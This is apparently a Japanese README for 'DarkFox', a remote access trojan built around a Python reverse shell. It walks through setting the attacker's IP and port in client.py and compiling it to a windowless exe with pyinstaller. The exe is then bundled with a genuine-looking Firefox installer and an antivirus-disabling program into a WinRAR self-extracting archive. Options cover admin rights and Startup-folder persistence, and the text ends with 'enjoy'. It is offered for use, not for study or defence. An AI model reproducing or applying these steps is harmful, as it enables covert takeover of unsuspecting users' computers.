DarkFox

WinRar とインストーラ（例: firefox）を使用して作成されたリモートアクセス型トロイの木馬で、Python のリバースシェルが組み込まれています。

• client.py ファイルを編集し、攻撃側サーバーがリッスンする IP とポート、および攻撃マシン上にある任意のプロキシの IP とポートを設定します。プロキシがない場合は、該当するセクションをコメントアウトします。

• client.py を exe に変換します。私は pyinstaller を使用しました: pyinstaller -w -i "Firefox.ico" -F client.py. -w オプションはウィンドウなしの .exe を作成でき、-F オプションは単一のファイルのみを作成できます。

• 3 つのファイルを選択して WinRAR で自己解凍 ZIP を作成します: 無害なインストーラ（例: "firefox installer.exe"）、client.exe、antivirus.exe。 自己解凍モジュールの設定で、ファイルの実行順序を設定します。最初に無害なインストーラ、次に client.exe を実行するようにします。ファイルを一時フォルダに展開するチェックボックスを選択するか、さらに悪意を持たせたい場合は、起動時に実行されるファイルのフォルダ（%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup）を指定します。 自己解凍モジュールの設定で、常に管理者権限を要求するオプションを選択します。 antivirus.exe は、アンチウイルスを無効化するウィンドウなしの .exe ファイルです。これはサーバーへの接続前に client.exe によって起動されます。

• antivirus.bat ファイルには、同名の .exe ファイルのコードと、もう 1 つのオプション機能が含まれています。 私は .bat ファイルをウィンドウなしの .exe ファイルに変換するために "Slimm bat to exe.exe" を使用しました。

お楽しみください :)